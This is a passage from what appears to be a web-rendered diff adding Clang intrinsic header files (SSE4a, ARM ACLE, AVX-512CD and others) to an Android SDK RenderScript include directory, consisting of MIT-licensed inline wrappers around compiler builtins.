static __inline unsigned char __attribute__((__always_inline__, __nodebug__, __target__("adx")))
|
||||
_addcarryx_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
|
||||
unsigned int *__p)
|
||||
{
|
||||
return __builtin_ia32_addcarryx_u32(__cf, __x, __y, __p);
|
||||
}
|
||||
|
||||
#ifdef __x86_64__
|
||||
static __inline unsigned char __attribute__((__always_inline__, __nodebug__, __target__("adx")))
|
||||
_addcarryx_u64(unsigned char __cf, unsigned long long __x,
|
||||
unsigned long long __y, unsigned long long *__p)
|
||||
{
|
||||
return __builtin_ia32_addcarryx_u64(__cf, __x, __y, __p);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Intrinsics that are also available if __ADX__ undefined */
|
||||
static __inline unsigned char __DEFAULT_FN_ATTRS
|
||||
_addcarry_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
|
||||
unsigned int *__p)
|
||||
{
|
||||
return __builtin_ia32_addcarry_u32(__cf, __x, __y, __p);
|
||||
}
|
||||
|
||||
#ifdef __x86_64__
|
||||
static __inline unsigned char __DEFAULT_FN_ATTRS
|
||||
_addcarry_u64(unsigned char __cf, unsigned long long __x,
|
||||
unsigned long long __y, unsigned long long *__p)
|
||||
{
|
||||
return __builtin_ia32_addcarry_u64(__cf, __x, __y, __p);
|
||||
}
|
||||
#endif
|
||||
|
||||
static __inline unsigned char __DEFAULT_FN_ATTRS
|
||||
_subborrow_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
|
||||
unsigned int *__p)
|
||||
{
|
||||
return __builtin_ia32_subborrow_u32(__cf, __x, __y, __p);
|
||||
}
|
||||
|
||||
#ifdef __x86_64__
|
||||
static __inline unsigned char __DEFAULT_FN_ATTRS
|
||||
_subborrow_u64(unsigned char __cf, unsigned long long __x,
|
||||
unsigned long long __y, unsigned long long *__p)
|
||||
{
|
||||
return __builtin_ia32_subborrow_u64(__cf, __x, __y, __p);
|
||||
}
|
||||
#endif
|
||||
|
||||
#undef __DEFAULT_FN_ATTRS
|
||||
|
||||
#endif /* __ADXINTRIN_H */
|
14458
tools/android-sdk/renderscript/clang-include/altivec.h
Normal file
194
tools/android-sdk/renderscript/clang-include/ammintrin.h
Normal file
|
@ -0,0 +1,194 @@
|
|||
/*===---- ammintrin.h - SSE4a intrinsics -----------------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
|
||||
#ifndef __AMMINTRIN_H
|
||||
#define __AMMINTRIN_H
|
||||
|
||||
#include <pmmintrin.h>
|
||||
|
||||
/* Define the default attributes for the functions in this file. */
|
||||
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("sse4a")))
|
||||
|
||||
/// \brief Extracts the specified bits from the lower 64 bits of the 128-bit
|
||||
/// integer vector operand at the index idx and of the length len.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// \code
|
||||
/// __m128i _mm_extracti_si64(__m128i x, const int len, const int idx);
|
||||
/// \endcode
|
||||
///
|
||||
/// This intrinsic corresponds to the \c EXTRQ instruction.
|
||||
///
|
||||
/// \param x
|
||||
/// The value from which bits are extracted.
|
||||
/// \param len
|
||||
/// Bits [5:0] specify the length; the other bits are ignored. If bits [5:0]
|
||||
/// are zero, the length is interpreted as 64.
|
||||
/// \param idx
|
||||
/// Bits [5:0] specify the index of the least significant bit; the other
|
||||
/// bits are ignored. If the sum of the index and length is greater than 64,
|
||||
/// the result is undefined. If the length and index are both zero, bits
|
||||
/// [63:0] of parameter x are extracted. If the length is zero but the index
|
||||
/// is non-zero, the result is undefined.
|
||||
/// \returns A 128-bit integer vector whose lower 64 bits contain the bits
|
||||
/// extracted from the source operand.
|
||||
#define _mm_extracti_si64(x, len, idx) \
|
||||
((__m128i)__builtin_ia32_extrqi((__v2di)(__m128i)(x), \
|
||||
(char)(len), (char)(idx)))
|
||||
|
||||
/// \brief Extracts the specified bits from the lower 64 bits of the 128-bit
|
||||
/// integer vector operand at the index and of the length specified by __y.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c EXTRQ instruction.
|
||||
///
|
||||
/// \param __x
|
||||
/// The value from which bits are extracted.
|
||||
/// \param __y
|
||||
/// Specifies the index of the least significant bit at [13:8] and the
|
||||
/// length at [5:0]; all other bits are ignored. If bits [5:0] are zero, the
|
||||
/// length is interpreted as 64. If the sum of the index and length is
|
||||
/// greater than 64, the result is undefined. If the length and index are
|
||||
/// both zero, bits [63:0] of parameter __x are extracted. If the length is
|
||||
/// zero but the index is non-zero, the result is undefined.
|
||||
/// \returns A 128-bit vector whose lower 64 bits contain the bits extracted
|
||||
/// from the source operand.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_extract_si64(__m128i __x, __m128i __y)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_extrq((__v2di)__x, (__v16qi)__y);
|
||||
}
|
||||
|
||||
/// \brief Inserts bits of a specified length from the source integer vector y
|
||||
/// into the lower 64 bits of the destination integer vector x at the index
|
||||
/// idx and of the length len.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// \code
|
||||
/// __m128i _mm_inserti_si64(__m128i x, __m128i y, const int len,
|
||||
/// const int idx);
|
||||
/// \endcode
|
||||
///
|
||||
/// This intrinsic corresponds to the \c INSERTQ instruction.
|
||||
///
|
||||
/// \param x
|
||||
/// The destination operand where bits will be inserted. The inserted bits
|
||||
/// are defined by the length len and by the index idx specifying the least
|
||||
/// significant bit.
|
||||
/// \param y
|
||||
/// The source operand containing the bits to be extracted. The extracted
|
||||
/// bits are the least significant bits of operand y of length len.
|
||||
/// \param len
|
||||
/// Bits [5:0] specify the length; the other bits are ignored. If bits [5:0]
|
||||
/// are zero, the length is interpreted as 64.
|
||||
/// \param idx
|
||||
/// Bits [5:0] specify the index of the least significant bit; the other
|
||||
/// bits are ignored. If the sum of the index and length is greater than 64,
|
||||
/// the result is undefined. If the length and index are both zero, bits
|
||||
/// [63:0] of parameter y are inserted into parameter x. If the length is
|
||||
/// zero but the index is non-zero, the result is undefined.
|
||||
/// \returns A 128-bit integer vector containing the original lower 64-bits of
|
||||
/// destination operand x with the specified bitfields replaced by the lower
|
||||
/// bits of source operand y. The upper 64 bits of the return value are
|
||||
/// undefined.
|
||||
|
||||
#define _mm_inserti_si64(x, y, len, idx) \
|
||||
((__m128i)__builtin_ia32_insertqi((__v2di)(__m128i)(x), \
|
||||
(__v2di)(__m128i)(y), \
|
||||
(char)(len), (char)(idx)))
|
||||
|
||||
/// \brief Inserts bits of a specified length from the source integer vector
|
||||
/// __y into the lower 64 bits of the destination integer vector __x at the
|
||||
/// index and of the length specified by __y.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c INSERTQ instruction.
|
||||
///
|
||||
/// \param __x
|
||||
/// The destination operand where bits will be inserted. The inserted bits
|
||||
/// are defined by the length and by the index of the least significant bit
|
||||
/// specified by operand __y.
|
||||
/// \param __y
|
||||
/// The source operand containing the bits to be extracted. The extracted
|
||||
/// bits are the least significant bits of operand __y with length specified
|
||||
/// by bits [69:64]. These are inserted into the destination at the index
|
||||
/// specified by bits [77:72]; all other bits are ignored. If bits [69:64]
|
||||
/// are zero, the length is interpreted as 64. If the sum of the index and
|
||||
/// length is greater than 64, the result is undefined. If the length and
|
||||
/// index are both zero, bits [63:0] of parameter __y are inserted into
|
||||
/// parameter __x. If the length is zero but the index is non-zero, the
|
||||
/// result is undefined.
|
||||
/// \returns A 128-bit integer vector containing the original lower 64-bits of
|
||||
/// destination operand __x with the specified bitfields replaced by the
|
||||
/// lower bits of source operand __y. The upper 64 bits of the return value
|
||||
/// are undefined.
|
||||
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_insert_si64(__m128i __x, __m128i __y)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_insertq((__v2di)__x, (__v2di)__y);
|
||||
}
|
||||
|
||||
/// \brief Stores a 64-bit double-precision value in a 64-bit memory location.
|
||||
/// To minimize caching, the data is flagged as non-temporal (unlikely to be
|
||||
/// used again soon).
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c MOVNTSD instruction.
|
||||
///
|
||||
/// \param __p
|
||||
/// The 64-bit memory location used to store the register value.
|
||||
/// \param __a
|
||||
/// The 64-bit double-precision floating-point register value to be stored.
|
||||
static __inline__ void __DEFAULT_FN_ATTRS
|
||||
_mm_stream_sd(double *__p, __m128d __a)
|
||||
{
|
||||
__builtin_ia32_movntsd(__p, (__v2df)__a);
|
||||
}
|
||||
|
||||
/// \brief Stores a 32-bit single-precision floating-point value in a 32-bit
|
||||
/// memory location. To minimize caching, the data is flagged as
|
||||
/// non-temporal (unlikely to be used again soon).
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c MOVNTSS instruction.
|
||||
///
|
||||
/// \param __p
|
||||
/// The 32-bit memory location used to store the register value.
|
||||
/// \param __a
|
||||
/// The 32-bit single-precision floating-point register value to be stored.
|
||||
static __inline__ void __DEFAULT_FN_ATTRS
|
||||
_mm_stream_ss(float *__p, __m128 __a)
|
||||
{
|
||||
__builtin_ia32_movntss(__p, (__v4sf)__a);
|
||||
}
|
||||
|
||||
#undef __DEFAULT_FN_ATTRS
|
||||
|
||||
#endif /* __AMMINTRIN_H */
|
312
tools/android-sdk/renderscript/clang-include/arm_acle.h
Normal file
|
@ -0,0 +1,312 @@
|
|||
/*===---- arm_acle.h - ARM Non-Neon intrinsics -----------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
|
||||
#ifndef __ARM_ACLE_H
|
||||
#define __ARM_ACLE_H
|
||||
|
||||
#ifndef __ARM_ACLE
|
||||
#error "ACLE intrinsics support not enabled."
|
||||
#endif
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#if defined(__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* 8 SYNCHRONIZATION, BARRIER AND HINT INTRINSICS */
|
||||
/* 8.3 Memory barriers */
|
||||
#if !defined(_MSC_VER)
|
||||
#define __dmb(i) __builtin_arm_dmb(i)
|
||||
#define __dsb(i) __builtin_arm_dsb(i)
|
||||
#define __isb(i) __builtin_arm_isb(i)
|
||||
#endif
|
||||
|
||||
/* 8.4 Hints */
|
||||
|
||||
#if !defined(_MSC_VER)
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __wfi(void) {
|
||||
__builtin_arm_wfi();
|
||||
}
|
||||
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __wfe(void) {
|
||||
__builtin_arm_wfe();
|
||||
}
|
||||
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __sev(void) {
|
||||
__builtin_arm_sev();
|
||||
}
|
||||
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __sevl(void) {
|
||||
__builtin_arm_sevl();
|
||||
}
|
||||
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __yield(void) {
|
||||
__builtin_arm_yield();
|
||||
}
|
||||
#endif
|
||||
|
||||
#if __ARM_32BIT_STATE
|
||||
#define __dbg(t) __builtin_arm_dbg(t)
|
||||
#endif
|
||||
|
||||
/* 8.5 Swap */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__swp(uint32_t __x, volatile uint32_t *__p) {
|
||||
uint32_t v;
|
||||
do
|
||||
v = __builtin_arm_ldrex(__p);
|
||||
while (__builtin_arm_strex(__x, __p));
|
||||
return v;
|
||||
}
|
||||
|
||||
/* 8.6 Memory prefetch intrinsics */
|
||||
/* 8.6.1 Data prefetch */
|
||||
#define __pld(addr) __pldx(0, 0, 0, addr)
|
||||
|
||||
#if __ARM_32BIT_STATE
|
||||
#define __pldx(access_kind, cache_level, retention_policy, addr) \
|
||||
__builtin_arm_prefetch(addr, access_kind, 1)
|
||||
#else
|
||||
#define __pldx(access_kind, cache_level, retention_policy, addr) \
|
||||
__builtin_arm_prefetch(addr, access_kind, cache_level, retention_policy, 1)
|
||||
#endif
|
||||
|
||||
/* 8.6.2 Instruction prefetch */
|
||||
#define __pli(addr) __plix(0, 0, addr)
|
||||
|
||||
#if __ARM_32BIT_STATE
|
||||
#define __plix(cache_level, retention_policy, addr) \
|
||||
__builtin_arm_prefetch(addr, 0, 0)
|
||||
#else
|
||||
#define __plix(cache_level, retention_policy, addr) \
|
||||
__builtin_arm_prefetch(addr, 0, cache_level, retention_policy, 0)
|
||||
#endif
|
||||
|
||||
/* 8.7 NOP */
|
||||
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __nop(void) {
|
||||
__builtin_arm_nop();
|
||||
}
|
||||
|
||||
/* 9 DATA-PROCESSING INTRINSICS */
|
||||
/* 9.2 Miscellaneous data-processing intrinsics */
|
||||
/* ROR */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__ror(uint32_t __x, uint32_t __y) {
|
||||
__y %= 32;
|
||||
if (__y == 0)
|
||||
return __x;
|
||||
return (__x >> __y) | (__x << (32 - __y));
|
||||
}
|
||||
|
||||
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rorll(uint64_t __x, uint32_t __y) {
|
||||
__y %= 64;
|
||||
if (__y == 0)
|
||||
return __x;
|
||||
return (__x >> __y) | (__x << (64 - __y));
|
||||
}
|
||||
|
||||
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
|
||||
__rorl(unsigned long __x, uint32_t __y) {
|
||||
#if __SIZEOF_LONG__ == 4
|
||||
return __ror(__x, __y);
|
||||
#else
|
||||
return __rorll(__x, __y);
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/* CLZ */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__clz(uint32_t __t) {
|
||||
return __builtin_clz(__t);
|
||||
}
|
||||
|
||||
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
|
||||
__clzl(unsigned long __t) {
|
||||
return __builtin_clzl(__t);
|
||||
}
|
||||
|
||||
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
|
||||
__clzll(uint64_t __t) {
|
||||
return __builtin_clzll(__t);
|
||||
}
|
||||
|
||||
/* REV */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rev(uint32_t __t) {
|
||||
return __builtin_bswap32(__t);
|
||||
}
|
||||
|
||||
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
|
||||
__revl(unsigned long __t) {
|
||||
#if __SIZEOF_LONG__ == 4
|
||||
return __builtin_bswap32(__t);
|
||||
#else
|
||||
return __builtin_bswap64(__t);
|
||||
#endif
|
||||
}
|
||||
|
||||
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
|
||||
__revll(uint64_t __t) {
|
||||
return __builtin_bswap64(__t);
|
||||
}
|
||||
|
||||
/* REV16 */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rev16(uint32_t __t) {
|
||||
return __ror(__rev(__t), 16);
|
||||
}
|
||||
|
||||
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rev16ll(uint64_t __t) {
|
||||
return (((uint64_t)__rev16(__t >> 32)) << 32) | __rev16(__t);
|
||||
}
|
||||
|
||||
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
|
||||
__rev16l(unsigned long __t) {
|
||||
#if __SIZEOF_LONG__ == 4
|
||||
return __rev16(__t);
|
||||
#else
|
||||
return __rev16ll(__t);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* REVSH */
|
||||
static __inline__ int16_t __attribute__((__always_inline__, __nodebug__))
|
||||
__revsh(int16_t __t) {
|
||||
return __builtin_bswap16(__t);
|
||||
}
|
||||
|
||||
/* RBIT */
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rbit(uint32_t __t) {
|
||||
return __builtin_arm_rbit(__t);
|
||||
}
|
||||
|
||||
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
|
||||
__rbitll(uint64_t __t) {
|
||||
#if __ARM_32BIT_STATE
|
||||
return (((uint64_t)__builtin_arm_rbit(__t)) << 32) |
|
||||
__builtin_arm_rbit(__t >> 32);
|
||||
#else
|
||||
return __builtin_arm_rbit64(__t);
|
||||
#endif
|
||||
}
|
||||
|
||||
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
|
||||
__rbitl(unsigned long __t) {
|
||||
#if __SIZEOF_LONG__ == 4
|
||||
return __rbit(__t);
|
||||
#else
|
||||
return __rbitll(__t);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*
|
||||
* 9.4 Saturating intrinsics
|
||||
*
|
||||
* FIXME: Change guard to their corrosponding __ARM_FEATURE flag when Q flag
|
||||
* intrinsics are implemented and the flag is enabled.
|
||||
*/
|
||||
/* 9.4.1 Width-specified saturation intrinsics */
|
||||
#if __ARM_32BIT_STATE
|
||||
#define __ssat(x, y) __builtin_arm_ssat(x, y)
|
||||
#define __usat(x, y) __builtin_arm_usat(x, y)
|
||||
#endif
|
||||
|
||||
/* 9.4.2 Saturating addition and subtraction intrinsics */
|
||||
#if __ARM_32BIT_STATE
|
||||
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__qadd(int32_t __t, int32_t __v) {
|
||||
return __builtin_arm_qadd(__t, __v);
|
||||
}
|
||||
|
||||
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__qsub(int32_t __t, int32_t __v) {
|
||||
return __builtin_arm_qsub(__t, __v);
|
||||
}
|
||||
|
||||
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__qdbl(int32_t __t) {
|
||||
return __builtin_arm_qadd(__t, __t);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* 9.7 CRC32 intrinsics */
|
||||
#if __ARM_FEATURE_CRC32
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32b(uint32_t __a, uint8_t __b) {
|
||||
return __builtin_arm_crc32b(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32h(uint32_t __a, uint16_t __b) {
|
||||
return __builtin_arm_crc32h(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32w(uint32_t __a, uint32_t __b) {
|
||||
return __builtin_arm_crc32w(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32d(uint32_t __a, uint64_t __b) {
|
||||
return __builtin_arm_crc32d(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32cb(uint32_t __a, uint8_t __b) {
|
||||
return __builtin_arm_crc32cb(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32ch(uint32_t __a, uint16_t __b) {
|
||||
return __builtin_arm_crc32ch(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32cw(uint32_t __a, uint32_t __b) {
|
||||
return __builtin_arm_crc32cw(__a, __b);
|
||||
}
|
||||
|
||||
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
|
||||
__crc32cd(uint32_t __a, uint64_t __b) {
|
||||
return __builtin_arm_crc32cd(__a, __b);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* 10.1 Special register intrinsics */
|
||||
#define __arm_rsr(sysreg) __builtin_arm_rsr(sysreg)
|
||||
#define __arm_rsr64(sysreg) __builtin_arm_rsr64(sysreg)
|
||||
#define __arm_rsrp(sysreg) __builtin_arm_rsrp(sysreg)
|
||||
#define __arm_wsr(sysreg, v) __builtin_arm_wsr(sysreg, v)
|
||||
#define __arm_wsr64(sysreg, v) __builtin_arm_wsr64(sysreg, v)
|
||||
#define __arm_wsrp(sysreg, v) __builtin_arm_wsrp(sysreg, v)
|
||||
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* __ARM_ACLE_H */
|
1299
tools/android-sdk/renderscript/clang-include/avx2intrin.h
Normal file
2410
tools/android-sdk/renderscript/clang-include/avx512bwintrin.h
Normal file
144
tools/android-sdk/renderscript/clang-include/avx512cdintrin.h
Normal file
|
@ -0,0 +1,144 @@
|
|||
/*===------------- avx512cdintrin.h - AVX512CD intrinsics ------------------===
|
||||
*
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef __IMMINTRIN_H
|
||||
#error "Never use <avx512cdintrin.h> directly; include <immintrin.h> instead."
|
||||
#endif
|
||||
|
||||
#ifndef __AVX512CDINTRIN_H
|
||||
#define __AVX512CDINTRIN_H
|
||||
|
||||
/* Define the default attributes for the functions in this file. */
|
||||
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("avx512cd")))
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_conflict_epi64 (__m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
|
||||
(__v8di) _mm512_setzero_si512 (),
|
||||
(__mmask8) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_conflict_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
|
||||
(__v8di) __W,
|
||||
(__mmask8) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_conflict_epi64 (__mmask8 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
|
||||
(__v8di) _mm512_setzero_si512 (),
|
||||
(__mmask8) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_conflict_epi32 (__m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
|
||||
(__v16si) _mm512_setzero_si512 (),
|
||||
(__mmask16) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_conflict_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
|
||||
(__v16si) __W,
|
||||
(__mmask16) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_conflict_epi32 (__mmask16 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
|
||||
(__v16si) _mm512_setzero_si512 (),
|
||||
(__mmask16) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_lzcnt_epi32 (__m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
|
||||
(__v16si) _mm512_setzero_si512 (),
|
||||
(__mmask16) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_lzcnt_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
|
||||
(__v16si) __W,
|
||||
(__mmask16) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_lzcnt_epi32 (__mmask16 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
|
||||
(__v16si) _mm512_setzero_si512 (),
|
||||
(__mmask16) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_lzcnt_epi64 (__m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
|
||||
(__v8di) _mm512_setzero_si512 (),
|
||||
(__mmask8) -1);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_mask_lzcnt_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
|
||||
(__v8di) __W,
|
||||
(__mmask8) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_maskz_lzcnt_epi64 (__mmask8 __U, __m512i __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
|
||||
(__v8di) _mm512_setzero_si512 (),
|
||||
(__mmask8) __U);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_broadcastmb_epi64 (__mmask8 __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_broadcastmb512 (__A);
|
||||
}
|
||||
|
||||
static __inline__ __m512i __DEFAULT_FN_ATTRS
|
||||
_mm512_broadcastmw_epi32 (__mmask16 __A)
|
||||
{
|
||||
return (__m512i) __builtin_ia32_broadcastmw512 (__A);
|
||||
}
|
||||
|
||||
#undef __DEFAULT_FN_ATTRS
|
||||
|
||||
#endif
|
1331
tools/android-sdk/renderscript/clang-include/avx512dqintrin.h
Normal file
285
tools/android-sdk/renderscript/clang-include/avx512erintrin.h
Normal file
|
@ -0,0 +1,285 @@
|
|||
